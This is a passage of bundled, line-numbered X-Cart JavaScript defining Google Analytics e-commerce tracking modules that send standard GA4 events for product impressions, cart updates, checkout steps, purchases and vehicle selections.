_.map( 13263 jQuery('*[data-ga-ec-action]', context), 13264 function (actionEl) { 13265 return jQuery(actionEl).data('ga-ec-action') 13266 } 13267 ) 13268 13269 return _.filter(actionsOnPage, function (action) { 13270 return action['ga-type'] === type 13271 }) 13272 } 13273 }) 13274 13275 return eCommerceCoreEventBase; 13276});; 13277/* AUTOGENERATED: ga-ec-impressions.js */ 13278/* vim: set ts=2 sw=2 sts=2 et: */ 13279 13280/** 13281 * Copyright (c) 2001-present X-Cart Holdings LLC. All rights reserved. 13282 * See https://www.x-cart.com/license-agreement.html for license details. 13283 */ 13284 13285define('googleAnalytics/base/eCommerceImpressionsEvent', ['googleAnalytics/eCommerceCoreEvent', 'js/underscore'], function (eCommerceCoreEvent, _) { 13286 let eCommerceImpressionsEventBase = eCommerceCoreEvent.extend({ 13287 13288 chunkThreshold: 6000, 13289 processedImpressions: {}, 13290 13291 initialize() { 13292 eCommerceImpressionsEventBase.superclass.initialize.apply(this, arguments) 13293 this.resetContainer() 13294 }, 13295 13296 resetContainer () { 13297 this.container = {} 13298 }, 13299 13300 getListeners () { 13301 return { 13302 'ga-pageview-sending': this.registerAllImpressionsInitial, 13303 'list.products.loaded': this.registerAllImpressionsInList, 13304 'ga-ec-addImpression': this.addImpressionExternalHandler 13305 } 13306 }, 13307 13308 registerAllImpressionsInitial (event, data) { 13309 var self = this 13310 13311 self.processImpressionsList(self.getActions('impression')) 13312 }, 13313 13314 registerAllImpressionsInList (event, widget) { 13315 var self = this 13316 13317 self.processedImpressions = {} 13318 13319 self.processImpressionsList(self.getActions('impression', widget['base'])) 13320 }, 13321 13322 addImpressionExternalHandler (event, data) { 13323 this.addImpression(data) 13324 }, 13325 13326 processImpressionsList (actionsData) { 13327 var self = this 13328 var length = 0 13329 13330 _.each( 13331 actionsData, 13332 function (action, index) { 13333 if (self.addImpression(action.data)) { 13334 length += JSON.stringify(action.data).length 13335 } 13336 if (self.calculateChunkThresholdLength(length) > self.chunkThreshold) { 13337 self.flushImpressions() 13338 length = 0 13339 } 13340 } 13341 ) 13342 13343 if (length) { 13344 self.flushImpressions() 13345 } 13346 }, 13347 13348 calculateChunkThresholdLength (length) { 13349 return length 13350 }, 13351 13352 addImpression (impressionData) { 13353 var self = this 13354 var result = false
13355 var hash = self.getImpressionHash(impressionData) 13356 13357 if (hash && !self.processedImpressions[hash]) { 13358 self.addImpressionAction(impressionData) 13359 result = true 13360 13361 self.processedImpressions[hash] = true 13362 } 13363 13364 return result 13365 }, 13366 13367 getImpressionHash (data) { 13368 return null 13369 }, 13370 13371 addImpressionAction (data) { 13372 }, 13373 13374 flushImpressions () { 13375 } 13376 13377 }) 13378 13379 return eCommerceImpressionsEventBase; 13380});; 13381/* AUTOGENERATED: ga-ec-shopping-cart.js */ 13382/* vim: set ts=2 sw=2 sts=2 et: */ 13383 13384/** 13385 * Copyright (c) 2001-present X-Cart Holdings LLC. All rights reserved. 13386 * See https://www.x-cart.com/license-agreement.html for license details. 13387 */ 13388 13389define('googleAnalytics/base/GAShoppingCartHandleEvent', ['googleAnalytics/eCommerceCoreEvent', 'js/underscore'], function(eCommerceCoreEvent, _) { 13390 let GAShoppingCartHandleEventBase = eCommerceCoreEvent.extend({ 13391 namespace: 'Product', 13392 chunkThreshold: 6000, 13393 13394 constructor: function () { 13395 GAShoppingCartHandleEventBase.superclass.constructor.apply(this, arguments) 13396 this.resetContainer() 13397 }, 13398 13399 resetContainer () { 13400 this.container = {} 13401 }, 13402 13403 getListeners () { 13404 return { 13405 'ga-pageview-sending': this.registerViewCart, 13406 'ga-update-cart': this.registerUpdateCart 13407 } 13408 }, 13409 13410 registerViewCart (event, data) { 13411 var self = this 13412 13413 var actionData = _.first(self.getActions('view_cart')) 13414 if (actionData && !_.isUndefined(actionData.data)) { 13415 self.processViewCart(actionData.data) 13416 } 13417 }, 13418 13419 processViewCart (cartData) { 13420 var self = this 13421 var length = 0 13422 var baseLength = JSON.stringify(this.container).length 13423 13424 _.each( 13425 cartData.items, 13426 function (item, index) { 13427 self.addCartItemAction(item) 13428 length += JSON.stringify(item).length 13429 if ((length + baseLength) > self.chunkThreshold) { 13430 self.flushViewCart() 13431 length = 0 13432 } 13433 } 13434 ) 13435 13436 if (length) { 13437 self.flushViewCart() 13438 } 13439 }, 13440 13441 addCartItemAction (data) { 13442 }, 13443 13444 flushViewCart () { 13445 }, 13446 13447 registerUpdateCart (event, parent_data) { 13448 var data = parent_data.data 13449 if (data.items) { 13450 for (var i = 0; i < data.items.length; i++) { 13451 var item = data.items[i] 13452 13453 if (item.quantity_change > 0) { 13454 this.registerAddItem(item['ga-data'], item.quantity_change) 13455 } else if (item.quantity_change < 0) { 13456 this.registerRemoveItem(item['ga-data'], item.quantity_change) 13457 } 13458 } 13459 } 13460 this.registerItemsChange(data) 13461 }, 13462 13463 registerItemsChange (data) { 13464 }, 13465 registerAddItem (item) { 13466 }, 13467 registerRemoveItem (item) { 13468 } 13469 }) 13470 13471 return GAShoppingCartHandleEventBase; 13472});; 13473/* AUTOGENERATED: ga-ec-change-item.js */ 13474/* vim: set ts=2 sw=2 sts=2 et: */ 13475 13476/** 13477 * Copyright (c) 2001-present X-Cart Holdings LLC. All rights reserved. 13478 * See https://www.x-cart.com/license-agreement.html for license details. 13479 */ 13480 13481define('googleAnalytics/base/eCommerceChangeItemEvent', ['googleAnalytics/eCommerceCoreEvent', 'js/underscore'], function (eCommerceCoreEvent, _) { 13482 return eCommerceCoreEvent.extend({ 13483 namespace: 'Product', 13484 13485 getListeners () { 13486 return { 13487 productAddedToCart: this.registerAddToCart, 13488 productsAddedToCart: this.registerAddsToCart 13489 } 13490 }, 13491 13492 registerAddToCart (event, data) { 13493 }, 13494 13495 registerAddsToCart (event, data) { 13496 } 13497 13498 }); 13499 } 13500);; 13501/* AUTOGENERATED: ga-ec-product-details-shown.js */ 13502/* vim: set ts=2 sw=2 sts=2 et: */ 13503 13504/** 13505 * Copyright (c) 2001-present X-Cart Holdings LLC. All rights reserved. 13506 * See https://www.x-cart.com/license-agreement.html for license details. 13507 */ 13508 13509define('googleAnalytics/base/eCommerceDetailsShownEvent', ['googleAnalytics/eCommerceCoreEvent', 'js/underscore'], function (eCommerceCoreEvent, _) { 13510 return eCommerceCoreEvent.extend({ 13511 13512 getListeners () { 13513 return { 13514 'ga-pageview-sending': this.registerAllDetailsShown 13515 } 13516 }, 13517 13518 registerAllDetailsShown (event, data) { 13519 var self = this 13520 13521 _.each( 13522 this.getActions('addProduct'), 13523 function (action, index) { 13524 self.registerDetailsShown(action.data) 13525 } 13526 ) 13527 }, 13528 13529 registerDetailsShown (addProductData) { 13530 } 13531 13532 }); 13533});; 13534/* AUTOGENERATED: ga-ec-product-click.js */ 13535/* vim: set ts=2 sw=2 sts=2 et: */ 13536 13537/** 13538 * Copyright (c) 2001-present X-Cart Holdings LLC. All rights reserved. 13539 * See https://www.x-cart.com/license-agreement.html for license details. 13540 */ 13541 13542define('googleAnalytics/base/eCommerceProductClickEvent', ['googleAnalytics/eCommerceCoreEvent', 'js/underscore'], function (eCommerceCoreEvent, _) { 13543 let eCommerceProductClickEventBase = eCommerceCoreEvent.extend({ 13544 13545 constructor: function () { 13546 eCommerceProductClickEventBase.superclass.constructor.apply(this, arguments) 13547 13548 var productLinks = jQuery('.products a.product-thumbnail, .products a.fn, .products a.url') 13549 13550 var self = this 13551 13552 productLinks.click(function (event) { 13553 var dataOwner = jQuery('*[data-ga-ec-action]', jQuery(event.currentTarget).parents('.product')) 13554 13555 if (dataOwner.length) { 13556 self.onProductDetailsClick( 13557 dataOwner.data('ga-ec-action').data, 13558 event 13559 ) 13560 } 13561 13562 return true 13563 }) 13564 }, 13565 13566 onProductDetailsClick (data) { 13567 } 13568 13569 }) 13570 13571 return eCommerceProductClickEventBase; 13572});; 13573/* AUTOGENERATED: ga-change-shipping.js */ 13574/* vim: set ts=2 sw=2 sts=2 et: */ 13575 13576/** 13577 * Copyright (c) 2001-present X-Cart Holdings LLC. All rights reserved. 13578 * See https://www.x-cart.com/license-agreement.html for license details. 13579 */ 13580 13581define('googleAnalytics/base/changeShippingEvent', [ 'googleAnalytics/eCommerceCoreEvent' ], function(Event) { 13582 return Event.extend({ 13583 namespace: 'Checkout', 13584 13585 getListeners () { 13586 return { 13587 updateCart: this.updateCartHandler 13588 } 13589 }, 13590 13591 updateCartHandler (event, data) { 13592 var actionData = _.first(this.getActions('checkout')) 13593 13594 if (actionData && data.shippingMethodName) { 13595 this.sendChangeMethodEvent(data.shippingMethodName, data.shippingTotal || null, actionData) 13596 } 13597 }, 13598 13599 sendChangeMethodEvent (methodName) { 13600 } 13601 }); 13602});; 13603/* AUTOGENERATED: ga-change-payment.js */ 13604/* vim: set ts=2 sw=2 sts=2 et: */ 13605 13606/** 13607 * Copyright (c) 2001-present X-Cart Holdings LLC. All rights reserved. 13608 * See https://www.x-cart.com/license-agreement.html for license details. 13609 */ 13610 13611define('googleAnalytics/base/changePaymentMethod', [ 'googleAnalytics/eCommerceCoreEvent' ], function(Event) { 13612 return Event.extend({ 13613 namespace: 'Checkout', 13614 13615 getListeners () { 13616 return { 13617 updateCart: this.updateCartHandler 13618 } 13619 }, 13620 13621 updateCartHandler (event, data) { 13622 var actionData = _.first(this.getActions('checkout')) 13623 13624 if (actionData && data.paymentMethodName && xcart.getTarget() === 'checkout') { 13625 this.sendChangeMethodEvent(data.paymentMethodName, actionData) 13626 } 13627 }, 13628 13629 sendChangeMethodEvent (methodName) { 13630 } 13631 }); 13632});; 13633/* AUTOGENERATED: ga-ec-checkout.js */ 13634/* vim: set ts=2 sw=2 sts=2 et: */ 13635 13636/** 13637 * Copyright (c) 2001-present X-Cart Holdings LLC. All rights reserved. 13638 * See https://www.x-cart.com/license-agreement.html for license details. 13639 */ 13640 13641define('googleAnalytics/base/eCommerceCheckoutStepsEvent', ['googleAnalytics/eCommerceCoreEvent', 'js/underscore'], 13642 function (eCommerceCoreEvent, _) { 13643 13644 return eCommerceCoreEvent.extend({ 13645 ADDRESS_STEP: 'address', 13646 SHIPPING_STEP: 'shipping', 13647 PAYMENT_STEP: 'payment', 13648 PLACE_STEP: 'place', 13649 COMPLETE_STEP: 'complete', 13650 13651 namespace: 'Checkout', 13652 13653 getListeners () { 13654 return { 13655 'ga-checkout-step-entered': this.handleStepEntered, 13656 'ga-checkout-step-completed': this.handleStepCompleted 13657 } 13658 }, 13659 13660 handleStepEntered (event, data) { 13661 var actionData = _.first( 13662 this.getActions('checkout') 13663 ) 13664 13665 if (actionData) { 13666 this._handleStepEntered(data.step, data, actionData) 13667 } 13668 }, 13669 13670 handleStepCompleted (event, data) { 13671 const actionsName = data.step === this.COMPLETE_STEP
13672 ? 'checkout_complete' 13673 : 'checkout' 13674 var actionData = _.first( 13675 this.getActions(actionsName) 13676 ) 13677 13678 if (actionData) { 13679 this._handleStepCompleted(data.step, data, actionData) 13680 } 13681 }, 13682 13683 13684 _handleStepEntered (step, data, actionData) { 13685 }, 13686 _handleStepCompleted (step, data, actionData) { 13687 } 13688 }); 13689 } 13690);; 13691/* AUTOGENERATED: checkout-complete.js */ 13692/* vim: set ts=2 sw=2 sts=2 et: */ 13693 13694/** 13695 * Copyright (c) 2001-present X-Cart Holdings LLC. All rights reserved. 13696 * See https://www.x-cart.com/license-agreement.html for license details. 13697 */ 13698 13699define('googleAnalytics/checkoutCompleteEvent', ['googleAnalytics/eCommerceCoreEvent'], function(eCommerceCoreEvent) { 13700 let GACheckoutCompleteEvent = eCommerceCoreEvent.extend({ 13701 namespace: 'Checkout', 13702 13703 getListeners () { 13704 return { 13705 'ga-pageview-sending': this.registerInvoiceEnter 13706 } 13707 }, 13708 13709 registerInvoiceEnter () { 13710 xcart.trigger('ga-checkout-step-completed', { 13711 step: 'complete' 13712 }) 13713 } 13714 }) 13715 13716 GACheckoutCompleteEvent.instance = new GACheckoutCompleteEvent(); 13717 13718 return GACheckoutCompleteEvent; 13719});; 13720/* AUTOGENERATED: ga-ec-purchase.js */ 13721/* vim: set ts=2 sw=2 sts=2 et: */ 13722 13723/** 13724 * Copyright (c) 2001-present X-Cart Holdings LLC. All rights reserved. 13725 * See https://www.x-cart.com/license-agreement.html for license details. 13726 */ 13727 13728define('googleAnalytics/base/eCommercePurchaseEvent', ['googleAnalytics/eCommerceCoreEvent', 'js/underscore'], 13729 function (eCommerceCoreEvent, _) { 13730 return eCommerceCoreEvent.extend({ 13731 13732 getListeners () { 13733 return { 13734 'ga-pageview-sending': this.registerPurchase 13735 } 13736 }, 13737 13738 registerPurchase (event, data) { 13739 //to prevent sending purchase action before step 5 checkout action 13740 setTimeout(this._registerPurchase.bind(this), 300) 13741 }, 13742 13743 _registerPurchase (event, data) { 13744 var actionData = _.first(this.getActions('purchase')) 13745 13746 if (actionData) { 13747 this._registerPurchaseEvent( 13748 actionData['data']['products'], 13749 actionData['data']['actionData'] 13750 ) 13751 } 13752 }, 13753 13754 _registerPurchaseEvent (productsData, actionData) { 13755 } 13756 13757 }); 13758 } 13759);; 13760/* AUTOGENERATED: ga-vehicle.js */ 13761/* vim: set ts=2 sw=2 sts=2 et: */ 13762 13763/** 13764 * Copyright (c) 2001-present X-Cart Holdings LLC. All rights reserved. 13765 * See https://www.x-cart.com/license-agreement.html for license details. 13766 */ 13767 13768define('googleAnalytics/base/vehicle_event', ['googleAnalytics/eCommerceCoreEvent'], function (eCommerceCoreEvent) { 13769 13770 return eCommerceCoreEvent.extend({ 13771 namespace: 'vehicleEvent', 13772 13773 findGaLevelSelectorData () { 13774 return $('.last_make_vehicle_data') 13775 }, 13776 13777 processReady () { 13778 this.processGaEvents() 13779 this.processSuccessfullySelectedVin() 13780 }, 13781 13782 processGaEvents () { 13783 const levelSelectors = this.findGaLevelSelectorData() 13784 13785 if (!levelSelectors.length) { 13786 return 13787 } 13788 13789 const _this = this 13790 13791 levelSelectors.each(function () { 13792 const gaEvent = $(this).attr('data-ga-ec-action') 13793 const parsedEvent = JSON.parse(gaEvent) 13794 _this.sendVehicleEvent(parsedEvent) 13795 }) 13796 }, 13797 13798 processSuccessfullySelectedVin() { 13799 const _this = this 13800 xcart.bind('vinSuccessfullySelectedGA', function (event, data) { 13801 const formattedEvent = _this.formatVinDataForSendEvent(data.data) 13802 const configuredEvents = _this.setEventsForVinSelect(formattedEvent, data.data.isAddToGarage) 13803 configuredEvents.forEach((item) => { 13804 _this.sendVehicleEvent(item) 13805 }) 13806 }); 13807 }, 13808 13809 formatVinDataForSendEvent(data) { 13810 const levels = [1, 2, 3, 4] 13811 let eventData = { 13812 data: { 13813 vehicle: '', 13814 } 13815 } 13816 13817 levels.forEach(function (item, index) { 13818 if (data.selected[item]) { 13819 if (index > 0) { 13820 13821 eventData.data.vehicle += '/'; 13822 } 13823 eventData.data.vehicle += data.selected[item].value; 13824 } 13825 }); 13826
13827 const keys = Object.keys(data.selected) 13828 13829 const lastKey = keys[keys.length - 1] 13830 13831 eventData.data['level' + lastKey + '_id'] = data.selected[lastKey].id; 13832 13833 return eventData 13834 }, 13835 13836 setEventsForVinSelect(event, isAddToGarage) { 13837 let events = [{...event, 'ga-type': 'select_vehicle'}] 13838 13839 if (isAddToGarage) { 13840 events.push({...event, 'ga-type': 'add_vehicle'}) 13841 } 13842 13843 return events 13844 }, 13845 13846 sendVehicleEvent (eventData) { 13847 13848 } 13849 13850 }) 13851});; 13852/* AUTOGENERATED: ga-ec-wishlist.js */ 13853/* vim: set ts=2 sw=2 sts=2 et: */ 13854 13855/** 13856 * Copyright (c) 2001-present X-Cart Holdings LLC. All rights reserved. 13857 * See https://www.x-cart.com/license-agreement.html for license details. 13858 */ 13859 13860define('googleAnalytics/base/eCommerceWishlistHandleEvent', ['googleAnalytics/eCommerceCoreEvent', 'js/underscore'], function (eCommerceCoreEvent, _) { 13861 return eCommerceCoreEvent.extend({ 13862 namespace: 'Product', 13863 13864 getListeners () { 13865 return { 13866 gaProductAddedToWishlist: this.registerAddToWishlist 13867 } 13868 }, 13869 13870 registerAddToWishlist (event, data) { 13871 } 13872 13873 }); 13874 } 13875);; 13876/* AUTOGENERATED: ga-ec-core.js */ 13877/* vim: set ts=2 sw=2 sts=2 et: */ 13878 13879/** 13880 * Copyright (c) 2001-present X-Cart Holdings LLC. All rights reserved. 13881 * See https://www.x-cart.com/license-agreement.html for license details. 13882 */ 13883 13884define('googleAnalytics/eCommerceCoreEvent', ['googleAnalytics/base/eCommerceCoreEvent', 'googleAnalytics/event', 'js/underscore'], function (eCommerceCoreEventBase, GAEvent, _) { 13885 let eCommerceCoreEvent = eCommerceCoreEventBase.extend({ 13886 container: {} 13887 }) 13888 13889 eCommerceCoreEvent.instance = new eCommerceCoreEvent(); 13890 13891 return eCommerceCoreEvent; 13892});; 13893/* AUTOGENERATED: ga-ec-impressions.js */ 13894/* vim: set ts=2 sw=2 sts=2 et: */ 13895 13896/** 13897 * Copyright (c) 2001-present X-Cart Holdings LLC. All rights reserved. 13898 * See https://www.x-cart.com/license-agreement.html for license details. 13899 */ 13900 13901define('googleAnalytics/eCommerceImpressionsEvent', ['googleAnalytics/base/eCommerceImpressionsEvent', 'googleAnalytics/eCommerceCoreEvent', 'js/underscore'], function (eCommerceImpressionsEventBase, eCommerceCoreEvent, _) { 13902 let eCommerceImpressionEvent = eCommerceImpressionsEventBase.extend({ 13903 13904 initialize () { 13905 eCommerceImpressionEvent.superclass.initialize.apply(this, arguments) 13906 var currency = this.coreInstance.getSetting('currency') 13907 this.list_container_tpl = { 13908 currency, 13909 item_list_name: '', 13910 items: [] 13911 } 13912 }, 13913 13914 resetContainer () { 13915 this.container.lists = {} 13916 }, 13917 13918 getImpressionHash (data) { 13919 return window.xcart.utils.hash( 13920 _.omit(data, 'index') 13921 ) 13922 }, 13923 13924 getListHash (list) { 13925 return window.xcart.utils.hash({name: list}) 13926 }, 13927 13928 calculateChunkThresholdLength (length) { 13929 return JSON.stringify(this.container).length 13930 }, 13931 13932 addImpressionAction (data) { 13933 var listHash = this.getListHash(data.item_list_name) 13934 13935 if (_.isUndefined(this.container.lists[listHash])) { 13936 this.container.lists[listHash] = JSON.parse(JSON.stringify(this.list_container_tpl)) 13937 } 13938 this.container.lists[listHash].item_list_name = data.item_list_name 13939 this.container.lists[listHash].items.push(data) 13940 }, 13941 13942 flushImpressions () { 13943 for (var listHash in this.container.lists) { 13944 if (this.container.lists.hasOwnProperty(listHash)) { 13945 this.sendEvent('view_item_list', this.container.lists[listHash]) 13946 } 13947 } 13948 this.resetContainer() 13949 } 13950 13951 }) 13952 13953 eCommerceImpressionEvent.instance = new eCommerceImpressionEvent(); 13954 13955 return eCommerceImpressionEvent; 13956});; 13957/* AUTOGENERATED: ga-ec-shopping-cart.js */ 13958/* vim: set ts=2 sw=2 sts=2 et: */ 13959 13960/** 13961 * Copyright (c) 2001-present X-Cart Holdings LLC. All rights reserved. 13962 * See https://www.x-cart.com/license-agreement.html for license details. 13963 */ 13964 13965define('googleAnalytics/GAShoppingCartHandleEvent', ['googleAnalytics/base/GAShoppingCartHandleEvent', 'js/underscore'], function(GAShoppingCartHandleEventBase, _) { 13966 let GAShoppingCartHandleEvent = GAShoppingCartHandleEventBase.extend({ 13967 changes: { 13968 add: [], 13969 remove: [] 13970 }, 13971 13972 resetContainer () { 13973 var actionData = _.first(this.getActions('view_cart')) 13974 var currency = this.coreInstance.getSetting('currency') 13975 var value = 0 13976 13977 if (actionData && !_.isUndefined(actionData.context)) { 13978 if (actionData.context.currency) { 13979 currency = actionData.context.currency 13980 } 13981 if (actionData.context.value) { 13982 value = actionData.context.value 13983 } 13984 } 13985 13986 this.container = { 13987 currency, 13988 items: [] 13989 } 13990 13991 if (value) { 13992 this.container.value = value 13993 } 13994 }, 13995 13996 addCartItemAction (data) { 13997 this.container.items.push(data) 13998 }, 13999 14000 flushViewCart () { 14001 this.sendEvent('view_cart', this.container) 14002 this.resetContainer() 14003 }, 14004 14005 registerAddItem (item, quantity_change) { 14006 item.quantity = Math.abs(quantity_change) 14007 this.changes.add.push(item) 14008 }, 14009 14010 registerRemoveItem (item, quantity_change) { 14011 item.quantity = Math.abs(quantity_change) 14012 this.changes.remove.push(item) 14013 }, 14014 14015 registerItemsChange (data) { 14016 var currency = this.coreInstance.getSetting('currency') 14017 14018 if (this.changes.add.length) { 14019 this.sendEvent('add_to_cart', { 14020 currency, 14021 value: this.calculateChangesValue(this.changes.add), 14022 items: this.changes.add 14023 }) 14024 this.changes.add = [] 14025 } 14026 14027 if (this.changes.remove.length) { 14028 this.sendEvent('remove_from_cart', { 14029 currency, 14030 value: this.calculateChangesValue(this.changes.remove), 14031 items: this.changes.remove 14032 }) 14033 this.changes.remove = [] 14034 } 14035 }, 14036 14037 calculateChangesValue (items) { 14038 var value = 0 14039 14040 _.each( 14041 items, 14042 function (item, index) { 14043 value += parseFloat(item.price) * item.quantity 14044 } 14045 ) 14046 14047 return value 14048 } 14049 14050 }) 14051 14052 GAShoppingCartHandleEvent.instance = new GAShoppingCartHandleEvent(); 14053 14054 return GAShoppingCartHandleEvent; 14055});;
14056/* AUTOGENERATED: ga-ec-change-item.js */ 14057/* vim: set ts=2 sw=2 sts=2 et: */ 14058 14059/** 14060 * Copyright (c) 2001-present X-Cart Holdings LLC. All rights reserved. 14061 * See https://www.x-cart.com/license-agreement.html for license details. 14062 */ 14063 14064define('googleAnalytics/eCommerceChangeItemEvent', ['googleAnalytics/base/eCommerceChangeItemEvent', 'js/underscore'], function (eCommerceChangeItemEventBase, _) { 14065 let eCommerceChangeItemEvent = eCommerceChangeItemEventBase.extend({ 14066 14067 registerAddToCart (event, data) { 14068 var currency = this.coreInstance.getSetting('currency') 14069 var gaProductData = data.gaProductData 14070 14071 if (gaProductData) { 14072 if (!_.isUndefined(gaProductData.list)) { 14073 gaProductData.item_list_name = gaProductData.list 14074 } 14075 this.sendEvent('add_to_cart', { 14076 currency, 14077 items: [gaProductData] 14078 }) 14079 } 14080 }, 14081 14082 registerAddsToCart (event, products) { 14083 let gaProducts = []; 14084 products.forEach((product) => { 14085 let gaProductData = product.gaProductData; 14086 if (gaProductData) { 14087 if (!_.isUndefined(gaProductData.list)) { 14088 gaProductData.item_list_name = gaProductData.list; 14089 } 14090 gaProducts.push(gaProductData); 14091 } 14092 }, products); 14093 14094 if (!_.isEmpty(gaProducts)) { 14095 const currency = this.coreInstance.getSetting('currency'); 14096 this.sendEvent('add_to_cart', { 14097 currency, 14098 items: gaProducts 14099 }); 14100 } 14101 } 14102 14103 }); 14104 14105 eCommerceChangeItemEvent.instance = new eCommerceChangeItemEvent(); 14106 14107 return eCommerceChangeItemEvent; 14108 } 14109);; 14110/* AUTOGENERATED: ga-ec-product-details-shown.js */ 14111/* vim: set ts=2 sw=2 sts=2 et: */ 14112 14113/** 14114 * Copyright (c) 2001-present X-Cart Holdings LLC. All rights reserved. 14115 * See https://www.x-cart.com/license-agreement.html for license details. 14116 */ 14117 14118define('googleAnalytics/eCommerceDetailsShownEvent', ['googleAnalytics/base/eCommerceDetailsShownEvent', 'js/underscore'], function (eCommerceDetailsShownEventBase, _) { 14119 let eCommerceDetailsShownEvent = eCommerceDetailsShownEventBase.extend({ 14120 14121 registerDetailsShown (addProductData) { 14122 var currency = this.coreInstance.getSetting('currency') 14123 this.sendEvent('view_item', { 14124 currency, 14125 items: [addProductData] 14126 }) 14127 } 14128 14129 }) 14130 14131 eCommerceDetailsShownEvent.instance = new eCommerceDetailsShownEvent(); 14132 14133 return eCommerceDetailsShownEvent; 14134});; 14135/* AUTOGENERATED: ga-ec-product-click.js */ 14136/* vim: set ts=2 sw=2 sts=2 et: */ 14137 14138/** 14139 * Copyright (c) 2001-present X-Cart Holdings LLC. All rights reserved. 14140 * See https://www.x-cart.com/license-agreement.html for license details. 14141 */ 14142 14143define('googleAnalytics/eCommerceProductClickEvent', ['googleAnalytics/base/eCommerceProductClickEvent', 'js/underscore', 'googleAnalytics/core'], function (eCommerceProductClickEventBase, _, gaCore) { 14144 14145 let eCommerceProductClickEvent = eCommerceProductClickEventBase.extend({ 14146 is_sent: false, 14147 14148 onProductDetailsClick (data, event) { 14149 var self = this 14150 14151 if (self.is_sent || !gaCore.instance.isAvailable()) { 14152 return 14153 } 14154 14155 event.preventDefault() 14156 14157 this.sendEvent('select_item', { 14158 item_list_name: data.item_list_name, 14159 items: [data], 14160 event_callback () { 14161 self.createFunctionWithTimeout(function (e) { 14162 self.is_sent = true 14163 e.currentTarget.click() 14164 }, event) 14165 } 14166 }) 14167 } 14168 14169 }) 14170 14171 eCommerceProductClickEvent.instance = new eCommerceProductClickEvent(); 14172 14173 return eCommerceProductClickEvent; 14174});; 14175/* AUTOGENERATED: ga-change-shipping.js */ 14176/* vim: set ts=2 sw=2 sts=2 et: */ 14177 14178/** 14179 * Copyright (c) 2001-present X-Cart Holdings LLC. All rights reserved. 14180 * See https://www.x-cart.com/license-agreement.html for license details. 14181 */ 14182 14183define('googleAnalytics/changeShippingEvent', [ 'googleAnalytics/base/changeShippingEvent', 'googleAnalytics/event' ], function(GAChangeShippingEventBase, Event) { 14184 let GAChangeShippingEvent = GAChangeShippingEventBase.extend({ 14185 sendChangeMethodEvent (methodName, value, actionData) { 14186 const currency = this.coreInstance.getSetting('currency') 14187 14188 this.sendEvent('add_shipping_info', { 14189 value, 14190 currency, 14191 shipping_tier: methodName, 14192 items: actionData.data.products 14193 }) 14194 } 14195 }) 14196 14197 GAChangeShippingEvent.instance = new GAChangeShippingEvent(); 14198 14199 return GAChangeShippingEvent; 14200});;
14201/* AUTOGENERATED: ga-change-payment.js */ 14202/* vim: set ts=2 sw=2 sts=2 et: */ 14203 14204/** 14205 * Copyright (c) 2001-present X-Cart Holdings LLC. All rights reserved. 14206 * See https://www.x-cart.com/license-agreement.html for license details. 14207 */ 14208 14209define('googleAnalytics/changePaymentMethod', [ 'googleAnalytics/base/changePaymentMethod', 'googleAnalytics/event' ], function(GAChangePaymentEventBase, Event) { 14210 let GAChangePaymentEvent = GAChangePaymentEventBase.extend({ 14211 sendChangeMethodEvent (methodName, actionData) { 14212 this.sendEvent('add_payment_info', { 14213 payment_type: methodName, 14214 items: actionData.data.products 14215 }) 14216 } 14217 }) 14218 14219 GAChangePaymentEvent.instance = new GAChangePaymentEvent(); 14220 14221 return GAChangePaymentEvent; 14222});; 14223/* AUTOGENERATED: ga-ec-checkout.js */ 14224/* vim: set ts=2 sw=2 sts=2 et: */ 14225 14226/** 14227 * Copyright (c) 2001-present X-Cart Holdings LLC. All rights reserved. 14228 * See https://www.x-cart.com/license-agreement.html for license details. 14229 */ 14230 14231define('googleAnalytics/eCommerceCheckoutStepsEvent', [ 'googleAnalytics/base/eCommerceCheckoutStepsEvent', 'googleAnalytics/event' ], function(eCommerceCheckoutStepBaseEvent, Event) { 14232 let eCommerceCheckoutStepEvent = eCommerceCheckoutStepBaseEvent.extend({ 14233 _handleStepEntered (step, data, actionData) { 14234 const currency = this.coreInstance.getSetting('currency') 14235 14236 switch (step) { 14237 case this.ADDRESS_STEP: 14238 this.sendEvent('begin_checkout', { 14239 currency, 14240 items: actionData.data.products 14241 }) 14242 14243 break 14244 14245 case this.SHIPPING_STEP: 14246 // TODO Methods reloading should be handled 14247 this.sendEvent('add_shipping_info', { 14248 value: actionData.data.shipping_value, 14249 currency, 14250 shipping_tier: actionData.data.shipping_method, 14251 items: actionData.data.products 14252 }) 14253 break 14254 14255 case this.PAYMENT_STEP: 14256 this.sendEvent('add_payment_info', { 14257 payment_type: actionData.data.payment_method, 14258 items: actionData.data.products 14259 }) 14260 break 14261 14262 case this.PLACE_STEP: 14263 break 14264 14265 case this.COMPLETE_STEP: 14266 break 14267 } 14268 }, 14269 14270 _handleStepCompleted (step, data, actionData) { 14271 switch (step) { 14272 case this.ADDRESS_STEP: 14273 break 14274 14275 case this.SHIPPING_STEP: 14276 break 14277 14278 case this.PAYMENT_STEP: 14279 break 14280 14281 case this.PLACE_STEP: 14282 break 14283 14284 case this.COMPLETE_STEP: 14285 break 14286 } 14287 } 14288 }) 14289 14290 eCommerceCheckoutStepEvent.instance = new eCommerceCheckoutStepEvent(); 14291 14292 return eCommerceCheckoutStepEvent; 14293});; 14294/* AUTOGENERATED: ga-ec-purchase.js */ 14295/* vim: set ts=2 sw=2 sts=2 et: */ 14296 14297/** 14298 * Copyright (c) 2001-present X-Cart Holdings LLC. All rights reserved. 14299 * See https://www.x-cart.com/license-agreement.html for license details. 14300 */ 14301 14302define('googleAnalytics/purchaseEvent', ['googleAnalytics/base/eCommercePurchaseEvent', 'js/underscore'], 14303 function (eCommercePurchaseBaseEvent, _) { 14304 let eCommercePurchaseEvent = eCommercePurchaseBaseEvent.extend({ 14305 _registerPurchaseEvent (productsData, actionData) { 14306 if (_.isUndefined(actionData.items)) { 14307 actionData.items = productsData 14308 } 14309 this.sendEvent('purchase', actionData) 14310 } 14311 14312 }) 14313 14314 eCommercePurchaseEvent.instance = new eCommercePurchaseEvent(); 14315 14316 return eCommercePurchaseEvent; 14317 } 14318);; 14319/* AUTOGENERATED: ga-vehicle.js */ 14320/* vim: set ts=2 sw=2 sts=2 et: */ 14321 14322/** 14323 * Copyright (c) 2001-present X-Cart Holdings LLC. All rights reserved. 14324 * See https://www.x-cart.com/license-agreement.html for license details. 14325 */ 14326 14327define('googleAnalytics/vehicle_event', ['googleAnalytics/base/vehicle_event'], function (vehicleEvent) { 14328 const handleVehicleEvent = vehicleEvent.extend({ 14329 sendVehicleEvent (eventData) { 14330 this.sendEvent(eventData['ga-type'], eventData.data) 14331 } 14332 }) 14333 14334 handleVehicleEvent.instance = new handleVehicleEvent() 14335 14336 return handleVehicleEvent 14337});; 14338/* AUTOGENERATED: 